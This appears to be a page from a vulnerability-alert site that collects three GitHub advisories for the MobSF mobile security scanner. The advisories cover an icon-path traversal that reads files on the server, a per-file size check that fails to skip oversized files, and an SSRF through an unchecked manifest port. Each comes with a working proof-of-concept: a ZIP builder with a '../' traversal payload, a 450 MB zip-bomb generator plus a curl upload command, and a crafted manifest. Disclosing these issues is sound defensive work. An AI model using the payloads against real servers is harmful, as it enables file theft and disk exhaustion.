Where
-Infinity
0
Severity
5.5
Path Traversal
AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:L/A:N

Summary The findiconpathzip() function in MobSF does not properly sanitize the android:icon attribute extracted from an Android manifest before resolving it as a filesystem path.

An attacker can supply a malicious android:icon value containing path traversal sequences, causing MobSF to read arbitrary files from the server filesystem and copy them into the downloads directory (DWDDIR). These files can then be retrieved by any authenticated user via the /download/<filename> endpoint, provided the file extension is included in ALLOWEDEXTENSIONS.

Details elif iconpath.startswith(('res/', '/res/')): strippedrelativepath = iconpath.strip('/res') # Works for neither /res nor res fullpath = os.path.join(resdir, strippedrelativepath) if os.path.exists(fullpath): return fullpath fullpath += '.png' if os.path.exists(fullpath): return fullpath https://github.com/MobSF/Mobile-Security-Framework-MobSF/blob/6e875fb77baa9dbe65ff8e7d0344d740e1d6d51e/mobsf/StaticAnalyzer/views/android/iconanalysis.py#L126

This code enables path traversal if a value like 'res/../../../signatures/maltrail-malware-domains.txt' is used as the icon path. This path will resolve to outside the scan directory, and the file will eventually be copied into DWDDIR/<md5>-icon.<ext>: iconfile = findiconpathzip( appdic['md5'], respath, iconfrommfst) if iconfile and Path(iconfile).exists(): dwd = Path(settings.DWDDIR) out = dwd / (appdic['md5'] + '-icon' + Path(iconfile).suffix) copy2(iconfile, out) appdic['iconpath'] = out.name https://github.com/MobSF/Mobile-Security-Framework-MobSF/blob/6e875fb77baa9dbe65ff8e7d0344d740e1d6d51e/mobsf/StaticAnalyzer/views/android/iconanalysis.py#L101

Because the output filename is derived from the MD5 hash of the uploaded archive (which the attacker can compute locally for his own ZIP), the attacker can deterministically retrieve the file via: GET /download/<md5>-icon.<ext>

PoC The following script generates a malicious ZIP archive that exploits this issue by referencing an arbitrary file on the server (maltrail-malware-domains.txt): import hashlib import io import zipfile

DEFAULTHOST = "http://localhost:8000" DEFAULTTARGET = "res/../../../signatures/maltrail-malware-domains.txt"

MANIFESTTEMPLATE = """\ <?xml version="1.0" encoding="utf-8"?> <manifest xmlns:android="http://schemas.android.com/apk/res/android" package="com.poc.icontraversal"> <application android:icon="{target}" android:label="PoC App"> <activity android:name=".MainActivity"> <intent-filter> <action android:name="android.intent.action.MAIN"/> <category android:name="android.intent.category.LAUNCHER"/> </intent-filter> </activity> </application> </manifest> """

MAINACTIVITY = """\ package com.poc.icontraversal; import android.app.Activity; public class MainActivity extends Activity {} """

host = DEFAULTHOST target = DEFAULTTARGET host = host.rstrip("/")

crate ZIP buf = io.BytesIO() with zipfile.ZipFile(buf, "w", zipfile.ZIPDEFLATED) as zf: zf.writestr("AndroidManifest.xml", MANIFESTTEMPLATE.format(target=target)) zf.writestr("src/com/poc/icontraversal/MainActivity.java", MAINACTIVITY) zf.writestr("res/drawable/placeholder.png", b"\x89PNG\r\n\x1a\n")

compute hash zipbytes = buf.getvalue() md5 = hashlib.md5(zipbytes).hexdigest()

write to disk outfile = "pocicontraversal.zip" with open(outfile, "wb") as f: f.write(zipbytes)

import os targetsuffix = os.path.splitext(target.strip("/res").split("/")[-1])[1] downloadfilename = f"{md5}-icon{targetsuffix}"

print(f"[+] ZIP created : {os.path.abspath(outfile)}") print(f"[+] Target file : {target}") print() print("[ Step 1 ] Upload the ZIP manually via the MobSF web UI") print() print("[ Step 2 ] Wait for the scan to complete, then browse to:") print(f" {host}/download/{downloadfilename}")

Impact This vulnerability allows an attacker with scan permissions to read files from the server filesystem outside the intended scan directory, as long as the target file has an extension in ALLOWEDEXTENSIONS. This can expose internal server files that are otherwise inaccessible through any legitimate endpoint. Additionally, this behavior enables a file existence oracle for any file path regardless of extension - the attacker can infer whether a file exists by checking the iconpath field in the scan report (if the target does not exist the path will be empty).

Depending on the deployment, this may expose sensitive configuration files, internal data, or security artifacts.

Remediation This can fixed by using the ispathtraversal function to validate user input.

1 / 2
Source: GitHub
First published (updated )
Severity
4.9
AV:N/AC:L/PR:H/UI:N/S:U/C:N/I:N/A:H

Summary

When extracting uploaded ZIP/APK files, MobSF checks if individual files exceed ZIPMAXUNCOMPRESSEDFILESIZE (400 MB) and logs "Skipping" — but the code lacks a continue statement, so extraction proceeds anyway. The log message is misleading; the file is still written to disk.

Verified Impact (Code Audit)

The vulnerable code path in sharedfunc.py lines 153–182:

python Line 156: Size check if fileinfo.filesize > settings.ZIPMAXUNCOMPRESSEDFILESIZE: sizemb = fileinfo.filesize / (1024 1024) msg = (f'File too large ({sizemb:.2f} MB). Skipping ' f'{sanitizeforlogging(filepath)}') logger.warning(msg) # ← BUG: No 'continue' here! Execution falls through.

Line 161: Total size check (separate) if totalsize > settings.ZIPMAXUNCOMPRESSEDTOTALSIZE: raise Exception(msg)

Line 171-178: Permission fixing (only dirs get 'continue') if fileinfo.isdir(): continue else: fileinfo.externalattr = ...

Line 182: EXTRACTION ALWAYS HAPPENS FOR FILES try: zipptr.extract(filepath, extpath) # ← Runs regardless of size check

The control flow is clear: after the size check logs "Skipping", no continue or break is issued. The code proceeds to line 182 which extracts the file unconditionally.

Steps to Reproduce

1. Create a ZIP/APK with a file exceeding 400 MB (zeros compress very well):

python #!/usr/bin/env python3 import zipfile, tempfile, os

output = tempfile.mktemp(suffix='.apk') with zipfile.ZipFile(output, 'w', zipfile.ZIPDEFLATED) as zf: zf.writestr('AndroidManifest.xml', '<manifest package="com.poc"/>') # 450 MB file (exceeds 400 MB limit) — compresses to ~KB info = zipfile.ZipInfo('assets/huge.bin') info.compresstype = zipfile.ZIPDEFLATED with zf.open(info, 'w') as f: for in range(450): f.write(b'\x00' (1024 1024)) # 1 MB at a time

print(f"Created: {output} ({os.path.getsize(output)} bytes compressed)")

2. Upload via API:

bash curl -X POST http://127.0.0.1:8000/api/v1/upload \ -H "X-Mobsf-Api-Key: YOURKEY" \ -F "file=@poc.apk"

3. Trigger scan, then verify:

bash Log says "Skipping" but file exists on disk: grep "File too large" ~/.MobSF/debug.log ls -la ~/.MobSF/uploads/HASH/assets/huge.bin # 450 MB file is there

Why This Is Not a Self-Bug

- This affects any user who scans a maliciously crafted APK - The APK could come from a legitimate-looking package submitted for security review - Matches the pattern of GHSA-c5vg-26p8-q8cr (Zip bomb DoS, affected <=4.3.2) — that advisory fixed the total size limit but this per-file bypass persists - Impact: disk exhaustion preventing further scans for other users

Remediation

Add continue after the size warning:

python if fileinfo.filesize > settings.ZIPMAXUNCOMPRESSEDFILESIZE: sizemb = fileinfo.filesize / (1024 1024) msg = (f'File too large ({sizemb:.2f} MB). Skipping ' f'{sanitizeforlogging(filepath)}') logger.warning(msg) continue # ← ADD THIS LINE

1 / 2
Source: GitHub
First published (updated )
Severity
3
SSRF
AV:N/AC:H/PR:H/UI:N/S:C/C:L/I:N/A:N

Summary

MobSF's Android App Link assetlinks checker validates only the manifest android:host value with validhost(), but then appends the separate android:port value into the URL used for the server-side request. This bypasses the current port restriction in validhost() and lets a crafted APK cause MobSF to fetch http://host:<attacker-port>/.well-known/assetlinks.json or https://host:<attacker-port>/.well-known/assetlinks.json.

Impact

An authenticated user who can upload or trigger analysis of a crafted APK can cause the MobSF server to make an outbound request to an attacker-selected port during Android manifest analysis. When the host is controlled by the attacker and uses DNS rebinding, the validation lookup can resolve to a public IP while the later HTTP client lookup resolves to an internal address, allowing SSRF to internal services on non-80/443 ports.

This is not arbitrary URL SSRF. The path remains fixed to /.well-known/assetlinks.json, and redirects are disabled. The bypass is that the final fetched URL is assembled after the host-only validation, so the current port guard is not applied to the actual URL.

Root cause

validhost() rejects ports other than 80 and 443 when a port is included in the string being validated:

python port = parsed.port ... if port and port not in (80, 443): return False

In getbrowsableactivities(), only the host attribute is passed to validhost():

python host = data.getAttribute(f'{ns}:host') port = data.getAttribute(f'{ns}:port') ... if not validhost(host): logger.warning('Invalid Host: %s', host) continue shost = f'{scheme}://{host}' if port and isnumber(port): curl = f'{shost}:{port}{WELLKNOWNPATH}' else: curl = f'{shost}{WELLKNOWNPATH}' wellknown[curl] = shost

checkurl() then fetches the assembled URL after checking only path, query, and params:

python purl = urlparse(url) if (purl.path != WELLKNOWNPATH or len(purl.query) > 0 or len(purl.params) > 0): logger.warning('Invalid Assetlinks URL: %s', url) continue r = requests.get(url, timeout=5, allowredirects=False, proxies=proxies, verify=verify)

Reproduction

Use an Android manifest with a browsable App Link data tag that has a benign-looking host and a restricted port:

xml <activity android:name=".DeepLink" android:exported="true"> <intent-filter> <action android:name="android.intent.action.VIEW" /> <category android:name="android.intent.category.BROWSABLE" /> <category android:name="android.intent.category.DEFAULT" /> <data android:scheme="http" android:host="rebind.example" android:port="22" /> </intent-filter> </activity>

A safe local proof with DNS and HTTP monkeypatching shows that MobSF validates only rebind.example, then fetches a URL that preserves the unchecked port:

text wellknown map: {'http://rebind.example:22/.well-known/assetlinks.json': 'http://rebind.example'} requests.get calls: [('http://rebind.example:22/.well-known/assetlinks.json', {'timeout': 5, 'allowredirects': False, 'proxies': None, 'verify': True})] findings: [{'url': 'http://rebind.example:22/.well-known/assetlinks.json', 'host': 'http://rebind.example', 'statuscode': 200, 'status': True}] VULNERABLE: validhost validated only rebind.example, but assetlinkscheck fetched unchecked port 22 via http://rebind.example:22/.well-known/assetlinks.json

The same code pattern is present in latest release v4.4.6 and current main.

Remediation

Validate the final URL after all manifest components have been applied. In particular:

1. Build curl, then run validation on the full URL, including scheme, hostname, port, path, query, and params. 2. Reject android:port values other than 80 and 443 before appending them to the URL. 3. Prevent DNS rebinding by pinning the validated DNS result to the outbound connection or otherwise ensuring the actual HTTP request cannot resolve to a different address than the validation step. 4. Keep allowredirects=False for the existing redirect mitigation.

1 / 2
Source: GitHub
First published (updated )

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203